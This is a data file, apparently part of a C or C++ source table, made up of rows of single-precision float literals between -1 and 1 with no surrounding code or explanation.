-0.448670532146325f, -0.438916826946834f, 0.830205353164842f, -0.0125988502002286f, 0.733716462327519f, 0.870000673588185f, -0.189915082276716f, -0.676269331249200f, -0.336432931956768f, -0.288892891213265f, -0.912569275291884f, 0.509853767908707f, -0.658452317958678f, -0.562848133961047f, -0.102082581799095f, 0.904062026055565f, 0.473339990381854f, 0.210234896873676f, -0.0884007008398613f, 0.720872020499257f, 0.538315255331760f, -0.884485227439286f, 0.160844002639634f, 0.625863524205804f, -0.947487159926400f, 0.362643826956149f, -0.189913270725334f, -0.110428721523612f, -0.666510263156819f, -0.214827103263521f, 0.912669747474334f, -0.973896103049543f, 0.665373714127588f, 0.148135031012834f, 0.126524689644449f, 0.00283763548841764f, 0.312700495893193f, 0.579520771033243f, 0.677583023476560f, -0.779567427807191f, 0.0694994546110597f, -0.298762697062437f, 0.655210050716681f, 0.435909078048151f, 0.322095567178671f, 0.764827170021089f, -0.713736794113842f, 0.992844460358584f, -0.735915506109616f, 0.280204875392391f, 0.584446532772711f, 0.796955505835788f, 0.742508124239176f, 0.0785523490091065f, -0.562359397016753f, 0.874448473576734f, -0.794251927759664f, -0.658767152705445f, 0.120015806343044f, 0.662372174700575f, -0.719334975225296f, -0.663474261357014f, -0.637663874969148f, 0.706137632813821f, 0.734790814693796f, -0.449118755654663f, -0.758125670003823f, 0.719059339327447f, -0.228679956701166f, -0.0782671261690160f, 0.637830522744746f, -0.178696376536345f, -0.848273935253246f, 0.840882430630200f, 0.977813953976437f, 0.565474986185913f, -0.807314895274907f, -0.100534840844589f, -0.436186956483089f, 0.854663592026441f, -0.547576146320248f, -0.621784076386717f, 0.688687549426321f, -0.688962085987764f, -0.998914668418794f, 0.751493418398842f, -0.203018738091861f, -0.881317097659280f, -0.422480898609404f, -0.321074554557095f, -0.759379357125740f, -0.806503084491033f, -0.496837315822352f, 0.217087355208111f, -0.776801484423500f, -0.445747498145286f, 0.710204776554782f, 0.274276964033182f, 0.650397224484409f, -0.709395921248168f, 0.862663541330686f, -0.946166202558813f, 0.826638502366159f, -0.450587332736099f, -0.808257632193740f, -0.414360554482101f, -0.471118187583276f, 0.981592919290155f, 0.192794908371370f, -0.314979855997427f, 0.722518962804398f, -0.795914669179603f, 0.121447532644509f, 0.0446893237592363f, 0.651720955387594f, 0.897128141094619f, 0.283834144643742f, 0.369570391543943f, -0.163784005163726f, -0.799144231493300f, 0.338136741961422f, 0.795991730702685f, 0.601735561139351f, -0.556654767533027f, 0.907044495725416f, -0.374604065784494f, 0.814308532452677f, -0.254295412850351f, 0.443103437041340f, -0.0218296619602199f, 0.826728672505738f, 0.773205771668962f, 0.171909022893217f, 0.497670481959597f, 0.954178712898056f, 0.0840098577761919f, -0.705861127301893f, 0.145663865959608f, -0.436204975766037f, 0.479359595998989f, -0.719493824988072f, -0.523146212355768f, -0.917822711649927f, -0.610003715217602f, -0.192266667446473f, -0.377507163265653f, -0.250419291332051f, 0.873627391381727f, 0.922899703740095f, -0.902411671519496f, 0.285830821349708f, -0.577368595723736f, -0.598296174995687f, -0.0152478418690674f, 0.503725955636280f, 0.946501779740920f, 0.261108140547963f, 0.206258978593364f, -0.887022338332430f, 0.989187042741485f, 0.461764104690670f, 0.305280284664753f, 0.243972878436235f, -0.573704516784209f, 0.111805651228880f, -0.373590027525854f, 0.574564836347642f, -0.712884790778729f, -0.0570130063179222f, 0.244209425500712f, -0.717492787619277f, -0.476920207759357f, -0.444169983027413f, -0.254851417015366f, -0.505678630542571f, -0.953549022234155f, -0.0316841901798541f, 0.198256779602804f, 0.151938229162240f, -0.0259028503944394f, -0.799645893003010f, -0.889308912372168f, 0.339221517072804f, 0.904784479404768f, -0.367330903112591f, 0.866281762131661f, 0.112765232993802f, -0.0852946527317187f, -0.283538359072154f, -0.734951426632046f, 0.502970854898684f, -0.541434927857400f, 0.881496286285600f, -0.227404039639917f, -0.636983936776183f, -0.0799774217214970f, -0.833780310813424f, -0.222787370954425f, 0.433143783060434f, 0.0953330524947187f, 0.965400264971588f, 0.308927931247299f, 0.344316393259575f, 0.122880788538352f, -0.898509922382301f, -0.187062523329053f, 0.705352247460646f, -0.817811000761718f, 0.303714513401701f, 0.714863075518907f, -0.00862372607283035f, -0.842715848975590f, 0.816504077307885f, 0.924594085591125f, 0.334618732730041f, -0.212414743241377f, -0.758289625449925f, 0.586405661412351f, 0.909247363444287f, -0.800422609846793f, 0.397430897916299f, -0.408827454151232f, -0.411913213123543f, -0.602703152770135f, -0.893591462026327f, 0.417648762458765f, -0.766362696266534f, -0.166060103951854f, 0.883234167729589f, -0.0741908774062401f, 0.113912882075078f, -0.268248292164738f, -0.825585719915457f, 0.885446166477969f, -0.996523379251940f, -0.000841720632677401f, 0.940286529247477f, -0.528330498750176f, 0.0938880690147421f, -0.966296878893937f, 0.891956527154360f, -0.483384605653306f, 0.257210342748458f, -0.820220338820906f, 0.363913841603935f, 0.0364865250689275f, 0.0619156958713947f, -0.645447937080250f, 0.548279343062761f, -0.289526240449473f, -0.506780094171335f, -0.901771170107367f, -0.437874075223813f, 0.748512212111141f, -0.529884246718074f, 0.924062132675193f, -0.365432219122282f, -0.263296006595835f, -0.927083881647913f, -0.192737974697553f, -0.450051159199964f, -0.543528645806642f, 0.834976909049276f, -0.426975046433596f, -0.361056079272416f, 0.883880063360531f, 0.680380429911630f, -0.553642515320953f, 0.548847108935282f, -0.357430246936948f, 0.210445016993628f, 0.949511601115471f, -0.611278947360487f, 0.344744934459962f, 0.0684247970496175f, -0.877154656281116f, -0.521992702610556,
-0.0303764312006813f, -0.647220068176984f, 0.693175336224119f, -0.0955602614554496f, -0.765579758912278f, -0.821318118938906f, -0.220936603794347f, 0.159013709512021f, 0.0222743973539492f, 0.569438412513281f, 0.896083437551563f, 0.973699071868637f, -0.403438951991928f, -0.976931032127622f, -0.0720613180573018f, 0.0788813367661694f, -0.430781354548607f, 0.580378296309349f, -0.175446689199481f, -0.256743557012462f, -0.696667845393283f, 0.870473046831235f, 0.146660713923108f, 0.277741407197705f, 0.502075064404417f, 0.396530064046844f, -0.000209092342246420f, -0.977003947244262f, 0.451457326960000f, 0.420509664462095f, -0.0826395067671402f, 0.461120688156973f, 0.786867285802415f, 0.429254905841222f, 0.894426863739026f, -0.670297281923597f, -0.833650409296060f, -0.908588009702110f, 0.516311115539149f, 0.975234001829324f, -0.532953533466378f, 0.775291582519158f, -0.0136022600428900f, 0.654817093112596f, 0.363512141498233f, 0.624779024037534f, 0.0237004661473674f, -0.172570506046968f, 0.401807838319043f, 0.997391258152958f, -0.553969395939123f, -0.415425175833161f, -0.758032843655304f, -0.482766088920005f, 0.637574309072414f, -0.729000055114342f, 0.699851428676091f, -0.827508053421131f, 0.900655803848482f, -0.431149800814228f, 0.0369409101983413f, -0.378608101457895f, 0.237564147838841f, 0.533020461112441f, -0.280269627508005f, -0.864065787343603f, -0.0381481642453043f, -0.566886547530062f, 0.539727700361167f, 0.166859339425035f, 0.850080295054718f, 0.384690146030125f, -0.384995288415294f, 0.303656036600558f, -0.580297619022502f, 0.0649069482840878f, -0.162922327392773f, -0.235019427063355f, -0.265468718118809f, -0.121827312187455f, 0.0416628805824146f, 0.343481543012411f, -0.251429566892972f, -0.868100204320718f, -0.802636407512128f, -0.549547579028752f, -0.570017983863503f, -0.853634311513627f, -0.564570567173235f, 0.955944215494794f, -0.0930750790375956f, -0.160319122401953f, -0.640886790354213f, 0.798634607857513f, 0.503051518023559f, 0.765247226736789f, 0.909476811674882f, 0.677590253114963f, -0.110641683440517f, -0.336445241915220f, -0.684064840782028f, 0.962285048920031f, 0.883303701653897f, 0.981819291389659f, -0.597290928759656f, 0.215792997443025f, -0.847656608719347f, 0.679887992445640f, 0.299901700372808f, -0.677306526467426f, -0.348340058872692f, 0.651490451411335f, -0.133387041637395f, 0.718311240322040f, 0.0869279817052975f, 0.155413706090559f, -0.869119988858735f, -0.566773040844476f, -0.0513826414151206f, -0.368087669232071f, -0.978175512831125f, -0.229213501073727f, 0.344608572405871f, -0.663307667219997f, 0.437238632879575f, 0.00205230197288353f, -0.0897076092856746f, 0.834529513214144f, 0.131872357342232f, 0.113081940417244f, -0.418620232731326f, -0.317993033651213f, -0.740303025960662f, 0.423423655701288f, -0.300833032468860f, -0.458960388256530f, 0.692670405117589f, -0.559944357561921f, 0.0168623577148430f, 0.568661331088367f, -0.385055363002398f, -0.356055436463140f, -0.794446573681063f, 0.908870080953069f, -0.295500656666577f, 0.800625150733729f, 0.206307902542489f, 0.729591183391974f, -0.0655746333947396f, -0.261707022686154f, -0.802380330579914f, 0.0812359238243023f, -0.00528231140765212f, -0.725740453383981f, 0.919076065030463f, -0.896497189839174f, 0.861919731820265f, -0.804273875755869f, 0.230339021648310f, 0.296779613186519f, -0.349872572510143f, -0.270230381483447f, 0.0368924200249658f, 0.581340248642417f, 0.943620537648739f, 0.715012058065301f, 0.528414993233909f, 0.695917111744314f, -0.634354198968852f, -0.483786223099716f, 0.565405035681248f, -0.530076864213017f, 0.363019522302994f, -0.825556544716473f, 0.891096876998683f, -0.990692760548295f, -0.450641405862313f, -0.597008073985341f, -0.464377765418678f, -0.942926913464693f, -0.871399725569805f, 0.232335933943403f, 0.858786794807406f, -0.528589179815518f, -0.324757177062634f, 0.595880088750788f, -0.976574570427974f, -0.423824220654658f, -0.832990206908489f, 0.198704682807118f, -0.168244652325292f, 0.843066822744011f, 0.0912498543932607f, 0.485570815146582f, -0.104653316420662f, -0.623461298489716f, -0.807713596811018f, 0.737782734425857f, 0.456364368166532f, -0.430703367862900f, -0.188953991637209f, -0.827984282695373f, 0.0246267653665548f, 0.891225605267640f, 0.910600867999638f, 0.345236086687552f, -0.600682365520065f, 0.833182106437698f, 0.213749250288017f, -0.0866339102562885f, -0.618385082289017f, 0.859527120927500f, 0.749978780964161f, -0.334770513867011f, 0.242140166670949f, -0.196268320459958f, 0.611789869603675f, 0.655057159657307f, -0.603759576722096f, 0.614654509385217f, 0.144145218488192f, 0.959930150756613f, 0.485009777784726f, -0.564230295010912f, -0.404716165405314f, 0.0442672151313601f, 0.929486639423805f, 0.409386317338224f, 0.527053707674182f, 0.899087569745327f, -0.933259779365388f, 0.265159475034860f, -0.858300862890810f, -0.870994388031662f, 0.354868177430506f, 0.00956840260511749f, 0.429740959889133f, 0.649668163567379f, -0.744532888765288f, -0.967499901569196f, 0.556703631745254f, 0.535130550118618f, -0.639502350153040f, -0.604586469532735f, 0.0799683564329623f, -0.156074786599444f, -0.348308700325411f, 0.217829052228100f, 0.545642400171123f, -0.303317700019152f, -0.473220675222451f, -0.239688108834945f, 0.0998500862725149f, -0.962734081833842f, 0.870743993144299f, 0.464578557934316f, 0.184511089576136f, 0.559729843314504f, 0.0702052363354577f, 0.632714874625648f, 0.212930743289312f, -0.454606863365109f, -0.592679055778218f, 0.287649993384466f, -0.457293694071368f, -0.423493046785686f, -0.0674763327876298f, 0.242131064298176f, 0.488581911885965f, -0.464567743213882f, -0.387515661812354f, -0.914585596974616f, -0.255803162310627f, 0.941267268311980f, 0.690278917089395f, 0.302397314111962f, -0.178461434689705f, -0.949279941481428f, 0.160440202901122f, -0.970582196769486f, -0.0119478205074164f, -0.206440255898676f, 0.221640403444713f, -0.819801447827624f, 0.263614394802488f, 0.616376195532700f, -0.596859494305351f, -0.118659509995453f, 0.458168997595326f, -0.0400474705134108f, 0.934465050133603f, -0.852936731989621f, 0.0191637795580570f, 0.298534793677081f, -0.857491630206749f, -0.0141198383157879f, -0.365027350962024f, 0.450964838023674f, 0.351383095290905f, -0.387039947149600f, -0.983994933095116f, 0.610531582220017f, -0.0446025524732094f, 0.216718014780746f, -0.676819246943449f, 0.0385619292249610f, 0.192482456707739f, -0.288809653393521f, 0.241774557042318f, -0.444638770943313f, 0.535319194413803f, 0.374773141606987f, 0.186364279454450f, 0.0701814972821988f, -0.452753172654203f, -0.350918291268194f, -0.332963791049667f, 0.179301863965318f, 0.954101654404080f, -0.687960044344130f, 0.611454049205213f, -0.696789567124132f, -0.551566492897529f, 0.656434797122885f, -0.601779335396959f, -0.265656331560395f, -0.528821434638507f, 0.153601151147409f, 0.514739334540489f, -0.0517769842323894f, -0.659246830986894f, -0.453055366696259f, -0.0515886000780059f, 0.958478845408115f, 0.0221452906045994f, -0.159960643390796f, 0.816263632871352f, 0.245244170325114f, -0.0919839688704780f, 0.947170598807362f, 0.846772793441790f, 0.247105133025056f, -0.801972939368103f, -0.224977420586025f, 0.130099925027197f, 0.497816036746753f, 0.308139730113712f, -0.0536876417759813f, -0.492022090866895f, 0.188938438822753f, -0.400894058284033f, 0.314370104391157f, 0.618580768947071f, 0.830051263404639f, -0.228700130023340f, 0.811855169643177f, 0.0924092179787017f, 0.273652523319809f, -0.0624274843235475f, -0.503696982048589f, 0.510545161203341f, 0.341823133345436f, -0.437486933663093f, 0.0134072800031224f, 0.613837993234983f, 0.740945655313894f, 0.135311460882606f, 0.464832228842466f, -0.973962843371452f, -0.519388256678232f, 0.631469277357519f, -0.936937468616713f, 0.208677911871604f, -0.0946010975796272f, 0.560587233611855f, 0.230925763372331f, -0.637408482848184f, -0.679175194353885f, -0.408696637706987f, -0.0837464598184048f, -0.911070817707239f, 0.985815432104941f, -0.208807972878988f, 0.741966810464688f, 0.162772839973564f, 0.717702638881939f, 0.490767958961575f, -0.835565390813677f, -0.878516167634055f, -0.956727838876563f, -0.00772081382858891f, 0.355227897612178f, 0.202889185809854f, -0.431078767653467f, 0.106936101717808f, 0.354494042302258f, -0.619623833602791f, 0.193065593078352f, -0.105803087758606f, 0.151828327005194f, -0.141094922099930f, 0.847569902283069f, -0.656683924792181f, -0.880754505470701f, -0.421714047610595f, 0.681762288858050f, 0.633712681698887f, 0.947060360650644f, -0.959122611588459f, -0.0690574969687099f, -0.805062392278087f, 0.226501754467861f, -0.414732397455275f, 0.242398867364043f, -0.831838824773804f, 0.00787391802290793f, -0.860692119913991f, -0.391321299589110f, -0.0548681430681355f, -0.992920640472037f, 0.0975642331777702f, 0.894630836703243f, 0.767919825689366f, -0.260878774442215f, 0.407457430171103f, 0.140688657702825f, 0.737494845272763f, -0.650969054257040f, 0.230613259000797f, -0.0986876345046772f, 0.0996951163848971f, -0.679173062298700f, -0.760174222364469f, -0.613840714529317f, -0.692138390397415f, -0.0919103790884603f, 0.0259548517830916f, 0.463763807478796f, -0.859327137970617f, 0.298600182982665f, -0.591236092977368f, -0.994984881037264f, -0.0533840054951049f, 0.544979189292485f, 0.652482875230260f, 0.897548627394727f, -0.340241293753474f, 0.508237349558163f, -0.611986702936889f, -0.399952468536369f, -0.758494484998191f, -0.148960755782999f, 0.895231513826071f, -0.870487943961511f, -0.172763884748068f, -0.652702954266129f, 0.784450103085903f, -0.428504279168614f, -0.347266234450861f, -0.0897193897382391f, 0.760686883857503f, -0.0863659842493281f, -0.453544362916610f, 0.713112885874267f, -0.529914378597266f, -0.134507787695203f, -0.590955798880753f, -0.372583442870916f, 0.646730663631020f, -0.809515553972267f, 0.0226873348847205f, -0.209338539804651f, -0.737170063193136f, 0.365916689978321f, 0.658019395382111f, 0.733982378695990f, -0.579926149814113f, 0.973814182111372f, 0.933875763922095f, -0.985234946636757f, -0.103124599698243f, -0.798304574918884f, -0.119705341414667f, 0.205941898284561f, 0.111088288053652f, 0.418598493379981f, 0.309112287901667f, 0.0865232803642195f, -0.281174085998345f, -0.158426951248790f, 0.156672456990889f, 0.608691108739118f, -0.124654784531448f, -0.372060827503666f, 0.555750853569654f, -0.481715370485256f, 0.411012047999522f, 0.265636511301544f, 0.164466400718006f, 0.427292785417094,
-0.407665783814271f, 0.0463239131527564f, 0.0109249300633605f, 0.0949704798708169f, 0.223291931618591f, 0.708651599857453f, 0.810927407452143f, -0.298811874805995f, 0.347215272448441f, 0.778225160999446f, -0.981258755328673f, -0.629231280170021f, -0.948786159268210f, -0.0530522786747270f, -0.665046033882002f, 0.776993795678436f, -0.604492154463805f, -0.906360689482177f, 0.543616910115371f, -0.501547360013149f, 0.571784796850774f, 0.868511495621889f, 0.783008382563488f, 0.571870376568081f, 0.0471150346240308f, 0.402433510592678f, 0.661353159662286f, 0.0253381317208246f, 0.720141243708461f, -0.478805385943742f, 0.989639021624774f, 0.538614599364854f, -0.282810721919526f, 0.888399971333007f, 0.118572990347886f, 0.564528382703688f, 0.988296121763412f, 0.509638594649021f, -0.797738059997026f, 0.0363326380089621f, 0.978315833815278f, -0.483368013204689f, 0.879051054425480f, 0.632539830439323f, 0.722677742708361f, 0.578919286433726f, -0.250721628167261f, 0.534435049744896f, -0.0404568429105234f, 0.00805525426120179f, 0.841210870775473f, -0.731771544679396f, 0.713758914490801f, 0.830250762535296f, 0.436563669872217f, 0.567024378980237f, 0.983941121609744f, -0.253548560865555f, 0.647105012325159f, 0.434994339049196f, 0.130837710207442f, -0.775136733344706f, 0.234917279141211f, -0.498429841761386f, -0.273571256415041f, 0.247467425899991f, -0.970396693506149f, 0.975835855884816f, -0.347896516486866f, -0.552856369180847f, -0.887336234316568f, -0.573271015958957f, 0.910862901097874f, -0.807236601077904f, -0.523971593712952f, -0.263589563369279f, 0.591056276091253f, -0.320168527954128f, 0.726795865615521f, -0.731502115921006f, -0.942225519371229f, 0.268573107637337f, 0.380348127119473f, -0.284539943611895f, 0.117478291379931f, -0.817442486350524f, 0.0734705767013011f, -0.626880755668906f, -0.873066996524459f, -0.528675805715351f, 0.490255491577847f, 0.398142666604162f, -0.911320079669940f, -0.870350237514323f, 0.854587452657144f, 0.736349579728106f, 0.948232845958681f, -0.00126774478569258f, 0.905641169934000f, -0.965500575551565f, 0.0831330388550517f, -0.892713267782484f, -0.277958019172831f, 0.312987842344813f, 0.484268977417485f, -0.365960524226328f, 0.177956605738091f, 0.913776767689874f, -0.897537691614058f, 0.473075982698961f, 0.913190042662185f, -0.00843862630950820f, 0.972679442298938f, -0.856058592202917f, 0.264007224067230f, -0.138444823656136f, -0.386195416368251f, -0.286657907928107f, -0.231200657384828f, 0.917365701941188f, -0.271317547281263f, -0.252691685075831f, 0.893742787021399f, 0.512463051119608f, 0.979155111008605f, -0.472272776864686f, 0.238767541974988f, -0.672234403865928f, -0.846783135777377f, 0.0877594573148737f, 0.493055606176910f, -0.289012308379085f, 0.416463895880697f, -0.0795051375851281f, -0.476692131327163f, -0.430471976159529f, -0.701875030095239f, 0.724684336417516f, 0.984802039066595f, 0.798285421773762f, 0.000509924988974175f, -0.0852199551444761f, -0.709724122158260f, -0.332735158942919f, -0.741119907407496f, 0.729608513555970f, 0.500578022862182f, 0.520862987462710f, 0.565678561009731f, -0.393741545311224f, -0.568866018100912f, 0.571654318026290f, -0.817900961532165f, -0.793268461448962f, 0.614914392385859f, 0.763415306986536f, 0.450074180772758f, -0.737435729799608f, 0.841185794339245f, 0.894276069286366f, -0.276262284222369f, -0.798623475612628f, -0.280994234105732f, 0.821175230597885f, -0.474251640366966f, -0.190039801864015f, 0.0663032720971493f, 0.884162053156770f, -0.162023139878049f, -0.963135153785511f, -0.582213329804047f, -0.328536493809765f, -0.938405687658462f, -0.0171569611327957f, -0.727260847907578f, 0.419920927745257f, -0.361592243835530f, 0.476989471873569f, -0.146161675185107f, 0.431817832405826f, -0.371528849369885f, -0.940567978751516f, 0.165203770962029f, 0.781321525273307f, 0.0585592625092357f, 0.573299596753579f, -0.378869924017182f, 0.523139576520889f, 0.385605607116478f, -0.235893429970747f, 0.285814921067909f, -0.121941292771133f, 0.621558611608942f, -0.0860979132283732f, -0.627097832687809f, -0.312083243705910f, -0.494490796681559f, -0.987187334387934f, -0.0804474888246625f, 0.496400656176795f, -0.851811189314651f, -0.791398271297849f, -0.868174317799275f, -0.226794668997878f, -0.335339474552766f, -0.276765924750817f, -0.395876032147377f, -0.740529136126816f, -0.167799472110453f, 0.593129248263724f, 0.336783120133436f, 0.248892158925787f, 0.950120283075237f, -0.795216613504226f, -0.574731116508357f, -0.822689608026685f, 0.973698546284335f, 0.125166556654624f, 0.588150318080073f, 0.128654744345192f, -0.219207714307262f, -0.271053050307713f, 0.124071241265810f, -0.618209718015327f, -0.766619799595349f, -0.478340220431165f, -0.446873929629545f, 0.978019432749647f, -0.627041040766022f, 0.169323691066764f, -0.714079827532216f, 0.386101296128268f, -0.360225804976135f, -0.236797717782837f, -0.311635747131794f, 0.0482888201705840f, -0.477302740867809f, -0.427349080854399f, 0.390352470816329f, 0.611790541936623f, -0.648292156214605f, -0.345871618789073f, 0.509300603302844f, -0.0142202703124219f, -0.570248077753979f, -0.0629178211029751f, -0.737806048037047f, 0.497750084049821f, -0.761650107803135f, -0.788756591098617f, -0.994497286039420f, -0.987344273533962f, 0.657151987467984f, -0.763708299084062f, -0.0729359162118841f, 0.0455275633022023f, -0.101919187896584f, 0.457804242981095f, 0.0117715388281796f, -0.274125197027132f, -0.949738804931191f, 0.762108173886486f, 0.405150754308562f, -0.733330375873553f, -0.712774896799572f, -0.791947616412901f, 0.444023894424500f, 0.00507562975249609f, -0.900698136223538f, -0.576055334977054f, -0.948895529956106f, -0.832665060374124f, -0.992753953473078f, -0.0674086978315183f, 0.569494111501383f, -0.962269067721443f, -0.489700810475570f, 0.972626508328545f, -0.777400448149780f, 0.115588644128954f, 0.0730469703310024f, 0.523584488072518f, 0.659055312807301f, 0.134198234373838f, -0.797833055125151f, -0.167842823235145f, -0.662347837139732f, -0.537544370279756f, -0.622353549740796f, -0.789789664448618f, 0.985300123665319f, 0.862449845163424f, 0.973193986256980f, 0.148883268671144f, 0.283619537155083f, 0.508503183151258f, -0.246167305966866f, -0.259543094514413f, -0.778029136807597f, 0.128978622849116f, -0.920978818238085f, -0.116324837544276f, -0.261472397833253f, 0.772449038068069f, -0.696754008784325f, 0.980778877985902f, -0.227636956328402f, -0.472493776528032f, -0.568519858000960f, -0.151689463117960f, -0.102997587484899f, 0.464752146042376f, -0.839114793935065f, -0.0325074343587592f, -0.180618880765978f, 0.0132253638432844f, -0.646173464496730f, 0.821983901071593f, 0.657453744559881f, 0.786315172070382f, -0.438718096604728f, 0.702691078885442f, 0.859957412428682f, -0.505281395658564f, -0.236722160990303f, -0.698465568366759f, -0.746418979540090f, -0.218205126412646f, -0.808715244840435f, -0.949813739800491f, 0.176975348790769f, 0.723960974918154f, -0.139253733704369f, -0.387224393658603f, -0.869945438924443f, -0.396979039594941f, 0.0256060022407458f, -0.566074790002811f, -0.161564565183606f, -0.736189868188370f, -0.205593811665825f, -0.628996407588712f, -0.0266462623004120f, -0.344127255771429f, -0.229003801178142f, -0.469786561635510f, 0.258249378153965f, 0.160442939158622f, 0.0528817242116550f, 0.261960766261548f, -0.571069557415276f, 0.411333771884545f, -0.145205354714326f, 0.249324532476397f, 0.163889600722793f, 0.649915677347011f, 0.147077371087195f, -0.227104208942068f, 0.867390199578604f, -0.0734153565896754f, 0.0491208061060167f, 0.0360590744216485f, 0.181620126101180f, 0.0567549454976457f, -0.856976992549465f, -0.242511192726339f, -0.624770508991394f, -0.793161214564285f, -0.251208532727981f, -0.833192309869275f, 0.368166434661069f, 0.939730260791580f, 0.305796202211942f, -0.598830491282818f, -0.0575368190467946f, 0.371329658849021f, -0.227872714677810f, 0.707539568196379f, 0.795186297468385f, 0.475847791658551f, 0.829361555893632f, 0.405386540930889f, 0.213282954068900f, 0.767339023510319f, 0.525055513018554f, 0.259437496637378f, -0.524342591286100f, -0.731515526086696f, -0.233118783725590f, 0.237972339628935f, -0.933985285078109f, 0.537013420173496f, 0.498819465200784f, -0.407713459607516f, 0.382821417923595f, -0.416894700661466f, 0.0787266904103943f, -0.0627973593192392f, -0.320105342653426f, -0.844066834407447f, 0.138221622417319f, -0.676665423871596f, -0.961043785105959f, 0.832268610130385f, -0.905530890441773f, -0.114191325652611f, -0.376697124207843f, 0.390323137798417f, 0.953143142925101f, 0.983427991280007f, -0.0895687386326503f, -0.681543125061097f, 0.677131540142176f, -0.867715848764628f, -0.812718786220309f, -0.212509939486840f, -0.990002327123638f, -0.0682855560011961f, 0.129310729289606f, -0.623746296335073f, -0.285580241032587f, 0.235626081900812f, -0.611973228709249f, 0.539189737955466f, 0.970058678533189f, 0.901944358898624f, 0.168094826408153f, -0.666711281252260f, 0.965612752173968f, 0.651034558458719f, 0.687501917067508f, 0.758614314567106f, -0.839396045781239f, -0.552775028233564f, -0.528941743867256f, 0.174761156721889f, 0.243585712774679f, 0.588913151268911f, -0.306898192880627f, 0.921540023069231f, -0.0223654942298541f, -0.102408576957649f, 0.612577852207921f, 0.835809058447089f, -0.437118459197839f, 0.455316033239981f, 0.311435507416257f, -0.648992336007256f, 0.346823844785409f, -0.632080213667648f, -0.599678627679202f, -0.653822991854328f, 0.484305292443427f, 0.782046295685087f, 0.960987598814982f, 0.627169162605570f, 0.948092598306120f, -0.185268381817018f, 0.602489977060513f, -0.885827813790617f, -0.00179203147433582f, -0.175476447614991f, 0.0461282236560925f, -0.898013889602944f, 0.256310837914276f, -0.733422110056865f, -0.740091677658095f, 0.966724540497493f, 0.328056986822768f, -0.267854591449557f, 0.670545831663244f, -0.356204313297688f, 0.0729865206358908f, -0.594530723723669f, 0.519965324048968f, 0.0632129606097647f, -0.878434885663544f, -0.497945943395010f, 0.0151854050905818f, -0.218036856012343f, 0.547721213710874f, -0.0915514918588898f, -0.279344098401951f, -0.228654882218650f, 0.100432155997130f, 0.802024600677294f, 0.175832345686877f, 0.0551231013299744f, 0.938247319394824f, 0.639298571360036f, -0.291461603371678f, -0.853503115314794f, -0.604829242631156f, 0.0291571486740745f, -0.932575328418390f, -0.621235088415116f, 0.403040314052094f, -0.809695618266849f, 0.966605888732736f, -0.199254401023053,
-0.540808222970056f, -0.0141840769249790f, 0.114579158224093f, 0.466889318471371f, -0.145415211797766f, -0.846707387707480f, -0.881237200733915f, -0.410798723199712f, -0.637697860299854f, -0.196366036081372f, 0.193267531425712f, -0.258591200841940f, -0.173003722066551f, 0.478121376006132f, 0.953819951501542f, 0.969916001975448f, 0.131515861287576f, -0.499829658784781f, 0.320952777516193f, -0.226980682212371f, 0.766886115655233f, 0.647310434110803f, -0.772594685974992f, 0.772645949480187f, -0.936357605801364f, -0.671842916281206f, -0.595127074295355f, 0.335132581825520f, 0.648964430112689f, -0.793376819398441f, -0.963663232647360f, 0.914308824314478f, -0.397663128784982f, 0.803240040231588f, -0.291039120047626f, -0.339918835846510f, -0.208620988780609f, 0.278177231697424f, -0.833157746552451f, 0.260554706029473f, -0.580537744139231f, 0.918561093477862f, 0.641368468308093f, 0.827379039283645f, -0.412231303854834f, -0.518315486749742f, 0.423356687848085f, 0.0777277584993787f, 0.394127392657178f, 0.609705410002715f, 0.264669032561337f, -0.460555696512027f, -0.0858908123066196f, -0.281781559603429f, -0.179777723960362f, -0.00449990348855067f, 0.803703377739133f, -0.155074032314596f, -0.00206139428833696f, 0.0661730930565525f, -0.737509215752079f, 0.620182143819587f, 0.114750705414661f, 0.545663051433958f, 0.661601724477194f, -0.592280382351976f, 0.609240020031149f, -0.968781019917808f, -0.668068368389875f, 0.206915551463500f, 0.0951453192552747f, 0.268580107578401f, -0.0450052302342363f, -0.933589842483940f, 0.236570492858402f, 0.0688734168318912f, 0.930163232697303f, 0.435953476823146f, 0.533759385687075f, 0.368282038662015f, -0.602312961473778f, 0.709516631712345f, -0.168303926671961f, 0.130670870119294f, -0.657736111745007f, 0.115028598388756f, 0.173728026281032f, -0.681671363429886f, -0.538786035950873f, 0.481457671665448f, 0.0136795278434168f, -0.570065342244344f, 0.188187050857249f, -0.352869308173680f, -0.979175308628854f, 0.223702879460018f, 0.994220466087713f, -0.147795166105729f, 0.218427535879435f, -0.120050826084179f, -0.0124939247430063f, -0.645134875027126f, -0.503122688484778f, 0.534123007328982f, 0.619710972635444f, -0.234248243706177f, 0.987144458053815f, 0.261284702576427f, 0.851827092094236f, 0.750019654249059f, -0.926154630610335f, 0.449356103243440f, 0.783011320523296f, -0.459228158107270f, -0.228877816937867f, 0.271108937592868f, -0.676085611673506f, 0.783114428240160f, 0.636093784021493f, -0.754110314308629f, -0.546386104880684f, 0.0385811136139234f, -0.768951137117397f, -0.644624743947807f, 0.00890157035391148f, -0.0792572116273387f, -0.989980668770044f, 0.603057533157075f, 0.280835727469123f, -0.634716709420524f, -0.712669415138995f, -0.424129916157595f, -0.436923748487354f, 0.467366013559791f, 0.907740481011987f, 0.788617065944311f, -0.152237692069130f, -0.963044404518533f, 0.907393322909416f, 0.806867676446313f, 0.699270310021791f, 0.107867603776547f, 0.127360747415417f, -0.502645789696788f, -0.511744166872327f, -0.121672719343072f, -0.596527146770249f, 0.410180172377510f, -0.852889849908704f, 0.278972213674154f, 0.0260156356783650f, 0.997558501949683f, -0.499245840292893f, -0.451169267624132f, -0.881643497362337f, 0.986957209874262f, -0.129608292321380f, 0.935829016346258f, -0.649021465281634f, 0.550436689069794f, 0.278888743082679f, 0.0137769346664500f, -0.660666060213522f, -0.416709136728042f, -0.302903068397225f, 0.180657445835459f, -0.908195955986293f, 0.280056533234627f, -0.660025789034158f, -0.798207438952561f, 0.901575224780405f, -0.608702932295102f, 0.318860199910414f, 0.874005722023406f, -0.0816057579181704f, 0.981671341873017f, -0.339234700161323f, 0.559717959858931f, 0.390363525109105f, -0.309384476087470f, 0.956563156784297f, -0.623734354817613f, -0.196627375289105f, -0.702076014509088f, 0.293098766889643f, -0.617152224560368f, 0.859117491438645f, 0.661015739867647f, 0.0747554166353739f, -0.282417009682732f, -0.667461537762524f, -0.451029960388404f, -0.464518668674360f, 0.591389440503293f, 0.552648871601186f, -0.242406315814918f, 0.147876771864331f, -0.00605730052917419f, -0.850648363553678f, -0.659957159486993f, -0.165475362851332f, 0.204150315434812f, -0.665767311591476f, -0.716154682563576f, 0.417487456932076f, 0.448184990956287f, 0.733843802413198f, 